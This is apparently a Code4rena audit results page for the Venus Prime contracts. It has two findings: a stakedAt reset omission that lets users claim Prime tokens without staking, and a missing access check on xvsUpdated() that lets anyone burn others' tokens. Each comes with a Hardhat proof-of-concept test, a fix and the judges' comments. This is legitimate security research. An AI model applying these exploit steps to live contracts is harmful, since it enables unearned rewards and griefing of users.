Platform: Code4rena
Start Date: 28/09/2023
Pot Size: $36,500 USDC
Total HM: 5
Participants: 115
Period: 6 days
Judge: 0xDjango
Total Solo HM: 1
Id: 290
League: ETH
Rank: 33/115
Findings: 2
Award: $166.82
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: deth
Also found by: 0xDetermination, 0xpiken, 3agle, Brenzee, Flora, HChang26, KrisApostolov, Satyam_Sharma, Testerbot, aycozynfada, berlin-101, gkrastenov, mahdirostami, merlin, rokinot, rvierdiiev, said, santipu_, sl1, tapir, twicek
162.4523 USDC - $162.45
Whenever a new Prime token is created, the users stakedAt
is reset to 0. This happens when the user claim
a revocable token and when he is issue
a revocable token, but it does not happen when a user is issue
an irrevocable token.
This is issue()
function issue(bool isIrrevocable, address[] calldata users) external { _checkAccessAllowed("issue(bool,address[])"); if (isIrrevocable) { for (uint256 i = 0; i < users.length; ) { Token storage userToken = tokens[users[i]]; if (userToken.exists && !userToken.isIrrevocable) { _upgrade(users[i]); } else { // We don't reset here. _mint(true, users[i]); _initializeMarkets(users[i]); } unchecked { i++; } } } else { for (uint256 i = 0; i < users.length; ) { _mint(false, users[i]); _initializeMarkets(users[i]); // We reset stakedAt here delete stakedAt[users[i]]; unchecked { i++; } } } }
We can see that when a revocable token is issued and minted the user's stakedAt
is reset to 0. Whenever a user's token is upgraded, his stakedAt
has already been reset to 0 inside claim
.
function claim() external { if (stakedAt[msg.sender] == 0) revert IneligibleToClaim(); if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime(); // We reset stakedAt here stakedAt[msg.sender] = 0; _mint(false, msg.sender); _initializeMarkets(msg.sender); }
The is only one time when we don't reset the user's stakedAt
and it's when he is issued an irrevocable token.
Let's see an example and see why this is a problem:
stakedAt
is the original time that she deposited 10k XVS.claim
.
Her tx goes through, since her stakedAt
wasn't reset to 0 when she got issued her irrevocable token.This way, Alice claimed a revocable token without having any XVS staked in the contract.
Add the following line at the top of tests/hardhat/Prime/Prime.ts
. We'll use this to simulate time passing
import { time } from "@nomicfoundation/hardhat-network-helpers";
Paste the following inside tests/hardhat/Prime/Prime.ts
and run npx hardhat test tests/hardhat/Prime/Prime.ts
.
it.only("User can get Prime token without any XVS staked", async () => { // User1 deposits 10k XVS await xvs.transfer(await user1.getAddress(), parseUnits("10000", 18)); await xvs.connect(user1).approve(xvsVault.address, parseUnits("10000", 18)); await xvsVault.connect(user1).deposit(xvs.address, 0, parseUnits("10000", 18)); let userInfo = await xvsVault.getUserInfo(xvs.address, 0, user1.getAddress()); expect(userInfo.amount).to.eq(parseUnits("10000", 18)); // Venus decides to issue an irrevocable Prime token to User1 for staking such a large amount. // Note that the 90 day staking period still hasn't passed await prime.issue(true, [user1.getAddress()]); let token = await prime.tokens(user1.getAddress()); expect(token.exists).to.be.equal(true); expect(token.isIrrevocable).to.be.equal(true); // User1 withdraws her entire balance XVS await xvsVault.connect(user1).requestWithdrawal(xvs.address, 0, parseUnits("10000", 18)); userInfo = await xvsVault.getUserInfo(xvs.address, 0, user1.getAddress()); expect(userInfo.pendingWithdrawals).to.eq(parseUnits("10000", 18)); // User1's Prime token gets burned by protocol await prime.burn(user1.getAddress()); token = await prime.tokens(user1.getAddress()); expect(token.exists).to.be.equal(false); expect(token.isIrrevocable).to.be.equal(false); // 100 days pass await time.increase(8640000); // User1 can claim a revocable Prime token without any XVS staked, because his stakedAt wasn't reset to 0 expect(prime.stakedAt(await user1.getAddress())).to.not.be.equal(0); await prime.connect(user1).claim(); token = await prime.tokens(user1.getAddress()); expect(token.exists).to.be.equal(true); expect(token.isIrrevocable).to.be.equal(false); });
If you are having trouble running the test, this change might fix it. Inside Prime.sol
, burn()
remove the access control from the function. This doesn't change the attack and the test outcome.
function burn(address user) external { // _checkAccessAllowed("burn(address)"); _burn(user); }
Manual review Hardhat
Reset the user's stakedAt
whenever he is issued an irrevocable token.
function issue(bool isIrrevocable, address[] calldata users) external { _checkAccessAllowed("issue(bool,address[])"); if (isIrrevocable) { for (uint256 i = 0; i < users.length; ) { Token storage userToken = tokens[users[i]]; if (userToken.exists && !userToken.isIrrevocable) { _upgrade(users[i]); } else { _mint(true, users[i]); _initializeMarkets(users[i]); delete stakedAt[users[i]]; } ...
Other
#0 - c4-pre-sort
2023-10-04T20:44:43Z
0xRobocop marked the issue as primary issue
#1 - c4-pre-sort
2023-10-04T20:44:48Z
0xRobocop marked the issue as high quality report
#2 - c4-sponsor
2023-10-24T15:56:02Z
chechu (sponsor) confirmed
#3 - c4-judge
2023-10-31T19:47:05Z
fatherGoose1 marked the issue as selected for report
#4 - fatherGoose1
2023-10-31T19:47:24Z
Valid issue with serious impact to the protocol.
#5 - satyam455
2023-11-07T08:30:15Z
@fatherGoose1 can you see issue no #480 it should have been marked duplicate of this isssue.
#6 - chechu
2023-11-27T16:05:39Z
🌟 Selected for report: Bauchibred
Also found by: 0x3b, 0xDetermination, 0xMosh, 0xScourgedev, 0xTheC0der, 0xTiwa, 0xWaitress, 0xdice91, 0xfusion, 0xpiken, 0xprinc, 0xweb3boy, ArmedGoose, Aymen0909, Breeje, Brenzee, Daniel526, DavidGiladi, DeFiHackLabs, Flora, Fulum, HChang26, Hama, IceBear, J4X, Krace, KrisApostolov, Maroutis, Mirror, MohammedRizwan, Norah, PwnStars, SPYBOY, TangYuanShen, Testerbot, ThreeSigma, Tricko, al88nsk, alexweb3, ast3ros, berlin-101, bin2chen, blutorque, btk, d3e4, deth, e0d1n, ether_sky, ge6a, gkrastenov, glcanvas, hals, imare, inzinko, jkoppel, jnforja, joaovwfreire, josephdara, kutugu, lotux, lsaudit, mahdirostami, merlin, n1punp, nadin, neumo, nisedo, nobody2018, oakcobalt, orion, peanuts, pep7siup, pina, ptsanev, rokinot, rvierdiiev, said, santipu_, sashik_eth, seerether, squeaky_cactus, terrancrypt, tonisives, twicek, vagrant, xAriextz, y4y
4.3669 USDC - $4.37
issue()
is used by the protocol to issue both revocable and irrevocable tokens to users manually. Using issue()
, users don't have to lock up any XVS and don't have to wait 90 days for the stake period to pass to get their Prime tokens. Keep in mind that the sponsors have stated that there is no clear criteria yet for issuing tokens directly.
In my mind there can be several scenarios when someone might be issued a revocable token.
The actual issue though, lies in xvsUpdated()
and the fact that it doesn't have any access control.
Note: The comment above the function states that this function is executed by the XVSVault
whenever the user's balance changes.
/** * @notice Executed by XVSVault whenever user's XVSVault balance changes * @param user the account address whose balance was updated */ function xvsUpdated(address user) external { uint256 totalStaked = _xvsBalanceOfUser(user); bool isAccountEligible = isEligible(totalStaked); if (tokens[user].exists && !isAccountEligible) { if (tokens[user].isIrrevocable) { _accrueInterestAndUpdateScore(user); } else { _burn(user); } } else if (!isAccountEligible && !tokens[user].exists && stakedAt[user] > 0) { stakedAt[user] = 0; } else if (stakedAt[user] == 0 && isAccountEligible && !tokens[user].exists) { stakedAt[user] = block.timestamp; } else if (tokens[user].exists && isAccountEligible) { _accrueInterestAndUpdateScore(user); } }
Now let's imagine the following scenario:
xvsUpdated()
with Alice's address.xvsUpdated()
has no access control and can be called by anyone, the tx goes through.tokens[user].exists
is true, but since Alice has no XVS staked, isAccountEligible
is false and we go into the first if block.tokens[user].isIrrevocable
is false and we go into the else block where we burn the token.This attack is especially easy and cheap on chains with very low gas fees such as Arbitrum.
Paste the code below inside tests/hardhat/Prime/Prime.ts
and run npx hardhat test tests/hardhat/Prime/Prime.ts
.
it.only("if user has no stake and a revocable token is issued to him, someone can grief him and burn his token", async () => { // Alice gets issued a revocable token await prime.issue(false, [user1.getAddress()]); // Token is exists and is revocable let token = await prime.tokens(user1.getAddress()); expect(token.exists).to.be.equal(true); expect(token.isIrrevocable).to.be.equal(false); // Bob calls xvsUpdated and passes Alice's address to grief her and burn her token. await prime.xvsUpdated(user1.getAddress()); token = await prime.tokens(user1.getAddress()); expect(token.exists).to.be.equal(false); expect(token.isIrrevocable).to.be.equal(false); });
Manual review Hardhat
Add access control to xvsUpdated()
so that only the XVSVault
can call it, as stated in the comments above the function.
There is already similar logic inside PrimeLiquidityProvider.sol#releaseFunds()
:
function releaseFunds(address token_) external { // We check if the Prime contract is calling this function if (msg.sender != prime) revert InvalidCaller(); ...
Access Control
#0 - c4-pre-sort
2023-10-05T01:55:56Z
0xRobocop marked the issue as duplicate of #485
#1 - c4-judge
2023-10-31T17:56:54Z
fatherGoose1 changed the severity to QA (Quality Assurance)
#2 - c4-judge
2023-11-03T02:38:52Z
fatherGoose1 marked the issue as grade-b